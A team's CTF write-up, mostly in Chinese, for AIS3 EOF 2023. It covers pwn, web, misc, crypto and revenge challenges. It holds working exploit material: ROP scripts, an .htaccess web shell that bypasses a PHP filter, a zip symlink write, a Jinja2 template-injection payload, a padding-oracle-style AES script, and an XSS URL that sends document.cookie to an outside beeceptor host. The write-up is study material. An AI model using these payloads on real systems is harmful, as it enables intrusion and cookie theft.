---
# System prepended metadata

title: AIS3 EOF 2023 writeup

---

# AIS3 EOF 2023 writeup
* Team name: PASTA
* Team member: 
    * NTU R11922015 林祐丞
    * NTU R11922138 蕭彧

## 1. Pwn
### real rop
題目裡有一個明顯的stack overflow，但空間不大只有0x20的空間可以overflow，扣掉old rbp只剩0x18也就是只有3次rop的空間，所以很大機率是要用one_gadget來get shell。
```c=
#include <unistd.h>

int main()
{
    char buf[0x10];

    read(0, buf, 0x30);
    write(1, buf, 0x30);
    
    return 0;
}
```
先使用checksec來看一下開的防護。
![](https://i.imgur.com/D0xdQtb.png)
可以看到pie是enable的，這代表我們不能用本地gadgets的位置直接套用到遠端上，所以我想要先leak出libc的位置，這樣就可以用libc的rop gadgets了，但這就衍生出了第一個問題，這個程式跑完一遍read write就會結束了，所以我剛leak出來的libc位置下一次又會不一樣了，所以我第一步想要做的就是讓程式可以跳回到開頭重複執行。

經過google許多bypass pie的方式後，我查到了雖然pie使每次的base address都不一樣，但是address的最後12位元會是一樣的，也就是說我可以overwrite main function的return adderss的最後12位元來使程式跳到return address的附近，首先就要先看看return address究竟會跳到哪裡。

用gdb可以看到會return到__libc_start_main+243
![](https://i.imgur.com/8sZX251.png)

查了一下__libc_start_main的spec，可以看到第一個參數($rdi)是傳入main function 的starting address
```c=
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));
```
經過trace __libc_start_main 的 assembly code後，我發現rdi會被push到rsp+0x18的位置，所以__libc_start_main+241的call指令就是call main function，所以我只要跳到__libc_start_main+217就可以再重新執行一次main function，而這個跳的距離也在pie不會改到的範圍內，只需要把__libc_start_main+243的address的最後一個byte從0x83蓋成0x69就可以了。
![](https://i.imgur.com/DXEFaaf.png)

能讓程式重複執行後，下一步就是leak出libc的address，而這個十分簡單，因為__libc_start_main就是在libc內，只要減掉他在libc的offset就可以得到libc的base address，最後就是找到適當的one_gadget就可以直接get shell了。

我用的是紅框框起來的one_gadget，因為r15從頭到尾都是NULL，因此只要找`pop r12;ret`的gadget就可以了，這樣也剛好在只能用3次rop的限制內
![](https://i.imgur.com/sdiEFix.jpg)
最後附上完整的exploit
```python=
from pwn import *

context.arch = 'amd64'
p = remote('edu-ctf.zoolab.org', 10014)
#      buf           old_rbp     overflow
buf = '\x31'*0x10 + '\x00'*0x8 + '\x69'
p.send(buf)
print(p.recv(0x18))
libc = u64(p.recv(0x8)) - 147561
pop_r12_ret = libc + 0x2f709
execve = libc + 0xe3afe
print('libc: ', hex(libc))
p.recv(0x10)

ROP = flat(
    0, 0, 
    0,
    pop_r12_ret, 0,
    execve
)
p.send(ROP)
p.interactive()
```
### superums
這題是heap選單題，但我快速的掃過一次後發現裡面既沒有UAF也沒有明顯的heap overflow，甚至限制了note size的大小要小於0x78讓我不能輕鬆的free到unsorted bin去，但可以看到他Note的struct在記錄size的地方剛好是free chunk fd的位置
```c=
struct Note
{
    unsigned short size;
    char *data;
};
```
所以我可以將它free完之後，讓size的值變成fd的值，之後再重新拿回這塊記憶體然後直接執行edit_data()來overflow吧? 結果沒這麼簡單，因為data的位置是tcache key的位置，所以在free後會先被key蓋掉，而再重新malloc後key的欄位會被清零，edit_data()看到你的data pointer是NULL就會認為你是第一次執行edit而重新malloc data且更新size，可以看到下面第11行的if statement就是在check這件事
```c=
void edit_data()
{
    unsigned short idx;
    unsigned short size;

    idx = get_idx();
    if (!notes[idx])
        printf("no, no ...\n"), exit(1);
    
    size = get_size();
    if (!notes[idx]->data) {
        notes[idx]->data = malloc(size);
        notes[idx]->size = size;
    }
        
    if (size > notes[idx]->size)
        printf("no, no ...\n"), exit(1);
    
    read(0, notes[idx]->data, size);
    printf("success!\n");
}
```
後來通靈了一下想到了fastbin沒有key這個欄位，所以我只要free進fastbin就可以用我上面提及的方法成功繞過size的限制了!在堆了7個chunk進tcache後，我free一個帶有data的note，這樣做的目的是在繞過size的限制時同時data的pointer會指向heap上的chunk，在重新malloc時我將7號note malloc到size是fd的值且data pointer指向8號note。至此，我不僅可以做到heap overflow，也達到的任意寫的功能，因為我可以overflow到8號note的data pointer去讓他指向任何我想寫的地方，也順便解決了data size不能超過0x78的限制(get_size()會擋掉)，再來我需要去得到libc的地址來讓我得到free_hook的地址。

首先，我先用show_notes()來leak出了heap上的地址，因為7號note的data pointer指向8號note，而8號note的size欄位剛好是之前遺留下來的fd，得到的heap上的地址後，就可以開始發揮我任意寫的功能，但這時遇到了一個大難題，在不能簡單free到unsorted bin的情況下到底怎麼得到libc的地址?

我一開始是直接去把一個note的size硬寫成0x420後再把它free掉，想說這樣就會進到unsorted bin了吧，但執行起來總是會有error，後來用gdb一看才發現把Top chuck的結構給破壞掉了，因此後來經過很久的思(通)考(靈)後想到我可以用一堆notes的data來堆成一個連起來有0x420的chunks們，再把第一個chunk的size改成0x420後free掉，這樣就可以讓它進入到unsorted bins了!!!

最後把8號note的data pointer指到unsorted bins的fd上並用show_notes()讀出來，就得到了libc的地址，接下來就是用我任意寫的功能去把system寫到free_hook，free掉一個data是'/bin/sh\x00'的note就成功get shell了。
### how2know_revenge
這題跟作業的how2know一樣禁止了幾乎全部的syscall剩下exit和exit_group，因此只能用執行時間的長短來逐個bit的去判斷，跟作業不同的地方在這題需要使用rop，所以我大部分的時間都花在找gadgets上面。

首先需要知道一個bit是0或1，我使用的判斷方法是用將想要知道的bit and對應的數字，舉個例子，我想知道一個byte的最低位的bit是0或1，我會把這個byte跟0x00000001做and，結果是0的話這個bit就是0，反之這個bit就是1。

之後我使用cmp和jne來控制程式的flow，我把and完的結果跟0做cmp，如果這個bit是0的話jne就會跳到程式中的一個位置，這邊的位置是哪裡都可以目的是為了讓程式盡快結束，而如果這個bit是1的話，則不會執行jne，反而會掉入我設計的無窮迴圈(反覆push和pop stack)，設置好timeout後就可以用執行時間的長短來判斷是0或1了。

這邊附上我有用到的ROP gadgets
```python=
pop_rax = 0x458237 # pop rax ; ret
movzx_eax_rax = 0x4282f3 # movzx eax, byte ptr [rax] ; ret
push_rdi = 0x43a93e # push rdi ; ret
pop_rdi = 0x401812 # pop rdi ; ret
pop_rsi = 0x402798 # pop rsi ; ret
and_cmp_jne = 0x48715a # and eax, esi ; cmp rdi, rax ; jne 0x487168 ; pop rbx ; ret
```
以及最後的payload，flag_addr是flag在bss section的address，byte_offset是目前要爆破的byte，bit_offset是目前要爆破的bit
```python=
payload = flat(
    0, 0,
    0, 0,
    0,
    pop_rax, flag_addr + byte_offset,
    movzx_eax_rax,
    pop_rsi, 2**bit_offset,
    pop_rdi, 0,
    and_cmp_jne, 0,
    pop_rdi, 0x43a93e,
    push_rdi,
)
```
## 2. Web

### Share

這題能夠上傳任意的 zip 檔案到網站上，上傳後會被解壓縮到 static 底下同使用者名稱的資料夾，看了以下這篇文章後，我得知只要在 zip 參數中加上 `--symlink`，就能夠將軟連結壓縮並上傳到網站上，並透過軟連結讀取到 server 中任意位置的檔案。

我壓縮了一個指向 `/` 的軟連結並上傳，並透過數次嘗試發現位於根目錄底下的 `flag.txt`。

[CTF赛题分析之 Flask 目录穿越](https://zhuanlan.zhihu.com/p/436692644)

### Gist

本題允許使用者上傳一個檔案，檔案會獨立放在一個資料夾底下，但題目又不允許所有與 php 相關的 file extension，因此，如果要讓上傳的檔案被當成 php 腳本執行，必須要上傳一個 .htaccess 檔案並新增規則，讓 apache 可以把 .htacess 當成 php 腳本執行。

然而，由於題目中禁止檔案中有 php 字樣，因此有兩個困難點要克服。

* php 以 `<?php` 與 `?>` 作為執行的開頭與結束
    當 short_open_tag 為 On， `<?php` 就可以以 `<?` 替代。
* .htaccess 中 php 對應的 Handler
    php 對應的 handler `application/x-httpd-php` 也有 php 字樣，經由多次嘗試後發現在 h 的前面加上一個斜線就可以繞過黑名單，並成功被當成 php 腳本執行。

解決以上的兩個問題後，我撰寫了以下檔案並上傳到網站上

```config
<FilesMatch ".htaccess$">
        # apaache 預設不能讀取 .ht 開頭的檔案，需要這一行來解除限制
	Require all granted
	SetHandler application/x-httpd-p\hp
</FilesMatch>
# <? system('cat /flag.txt /flag.txt'); ?>
```

### Trust

乍看之下會以為網站只提供簡單的字串置換功能，但實際上不然，網址中的 keypath 與 valuepath 兩個參數經由 get 函數後能讀取到 `document.all` 底下的任意屬性。

本題的目標是 `document.cookie`，經由研究後發現 ```doucument.all``` 底下都是類似 dom 的屬性，並發現他們有 ```parentNode``` 可以逐步往 dom 的頂端走，並且 dom 的頂端是 ```document```，進而就能得到 ```document.cookie```。

將 valuepath 修改成 `container/parentNode/parentNode/parentNode/parentNode/cookie` 後，就能成功在網頁上顯示 cookie。

接著，我們需要將 cookie 送到外部，由於這題有使用 dompurify 來過濾 innerHTML 的內容，因此，我直接將 cookie 嵌在 img tag 的 src 屬性中，讓他被當成正常網址的參數被一同送到外部，最終得到 flag。

以下是我傳給 report 的 url

```url
https://trust.ctf.zoolab.org/render?
html=<img src="https://qwer123.free.beeceptor.com/?c={{name}}">&
key=name&value=123&
keypath=key/value&
valuepath=container/parentNode/parentNode/parentNode/parentNode/cookie
```
註：https://qwer123.free.beeceptor.com 是我用來接收 flag 的外部網站

## 

## 3. Misc
### Execgen
經由上網查詢後找到以下的文章，參考後透過以下的 payload 得到 flag
```bash
/usr/bin/env -S cat /home/chal/flag 
```

[Multiple arguments in shebang](https://unix.stackexchange.com/questions/399690/multiple-arguments-in-shebang)

## 4. Crypto
### Hex

本題需要解出轉換成 token，並且 token 本身轉成 hex 形式後剛好為 16 bytes，與 AES 的一個 block 一樣大

這題提供一個解密機，解密後能知道字元是否落在 hex 的範圍內，透過這個機制，我們可以透過以下的方式得到 flag

對於 iv 中的每個 byte
1. 假設這個 byte 為 hex 中的某一個成員
2. 將這個位置對應 IV 的 byte xor 自己，再 xor 成 16 個不同的 hex 成員並送到解密機中，如果解密機的結果都是 "Well Received"，則代表猜測正確，反之則代表猜測錯誤

經由多次的嘗試後，就能夠拚湊出原本的 token

```python
from pwn import *

p = remote('eof.ais3.org', 10050)

iv = bytes.fromhex(p.recv(32).decode())
enc= bytes.fromhex(p.recv(32).decode())
assert(p.recv(1) == b'\n')

p.recvuntil(b': ')
sha=bytes.fromhex(p.recvline(False).decode())

print(sha.hex())

s = b'0123456789abcdef'

for i in range(16):
    
    pre_iv = iv[:i]
    tgt_iv = iv[i]
    pos_iv = iv[i+1:]

    for guess in s:
        
        # print(guess)
        m = tgt_iv ^ guess
        
        for n in s:    
            p.recvuntil(b'Exit\n')
            p.sendline(b'1')
            p.recvuntil(b'(hex): ')
            n ^= m
            payload = pre_iv + n.to_bytes(1, 'little') + pos_iv + enc
            p.sendline(payload.hex().encode())
            if p.recvline() != b'Well received\n':
                break
        else:
            print(chr(guess), end='', flush=True)
            break

print(guess)
p.interactive()
```

## 5. Revenge
### water
這題跟washer的差別只差在編譯的參數不一樣，但posix_spawn就不會執行我們的file了，真奇怪，我自己試著編譯發現只要有加-fsanitize=address，posix_spawn就會正常執行我們的file，但我到解完題目還是不知道為什麼會這樣QQ

這題有標上pwn的標籤，所以我先試著尋找程式有沒有任何buffer overflow的地方，一找就發現了scanf有很明顯的buffer overflow，他是使用%s來讀取字串，所以只要我的input超過100且沒有'\0'就可以成功stack overflow了!

我的作法是去把filename給蓋成/flag，然後再執行option2也就是讀檔，這樣就可以成功把flag讀出來了，其中我放入了'#'在input裡，目的是為了讓我的input validate失敗，這樣就可以避免把我的input寫到/flag裡面，把下面這串字串餵給option1的input，然後再執行option2的就可以成功把flag讀出來了
```
#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/flag
```
### ShaRCE

與 Share 不同，這題要執行 `/readflag` 才能獲得 flag。

透過 Share 學到的資訊加上動腦筋，我們可以透過兩次上傳來寫入檔案到伺服器上的任意位置。第一次將軟連結上傳到網站上，第二次再將軟連結的位置當成資料夾，並放入想蓋寫的檔案到資料夾中的對應位置並上傳，就能夠達成目標。

透過這樣的手法，我將 app.py 蓋寫卻發現網頁沒有動靜，原因是 app.py 已經被執行起來，因此無論怎麼蓋寫都不會有用。第二次我嘗試蓋寫 index.html 並透過計算機安全 splitline 課堂上所教在本地慢慢試出 jinja2 執行 shell 的程式碼並上傳，最後得到 flag。

上傳的檔案架構如下

```
# 1.zip 第一次上傳的檔案
app 指向 /app 的軟連結

# 2.zip 第二次上傳的檔案
app 一般的資料夾
     |--- template 一般的資料夾
          |--- index.html 欲蓋寫的檔案
```

index.html 檔案內容如下

```jinja
<!-- index.html -->
{{ ''.__class__.__mro__[1].__subclasses__()[-60].__init__.__globals__['run'](["/readflag"], capture_output=True).stdout }}
```